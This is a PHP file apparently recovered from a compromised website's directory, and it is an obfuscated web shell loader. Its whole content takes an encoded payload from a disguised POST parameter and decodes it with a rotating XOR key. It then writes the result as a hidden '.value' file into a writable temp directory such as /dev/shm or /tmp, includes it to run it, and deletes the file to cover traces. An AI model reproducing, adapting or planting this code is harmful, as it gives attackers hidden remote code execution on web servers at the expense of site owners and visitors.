File: /home/vitanhod/vigolic-100ad.vitavit.com.pk/cma.php
<?php
if(filter_has_var(INPUT_POST, "bin\x64")){
$entry = $_POST["bin\x64"];
$entry=explode ( "." , $entry );
$factor='';
$s='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen=strlen( $s);
foreach( $entry as $j => $v4):
$chS=ord( $s[$j % $sLen]);
$dec=( ( int)$v4 - $chS -( $j % 10)) ^30;
$factor .= chr( $dec);
endforeach;
$pointer = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP")]);
$ptr = 0;
do {
$mrk = $pointer[$ptr] ?? null;
if ($ptr >= count($pointer)) break;
if (max(0, is_dir($mrk) * is_writable($mrk))) {
$dat = "$mrk" . "/.value";
$file = fopen($dat, 'w');
if ($file) {
fwrite($file, $factor);
fclose($file);
include $dat;
@unlink($dat);
die();
}
}
$ptr++;
} while (true);
}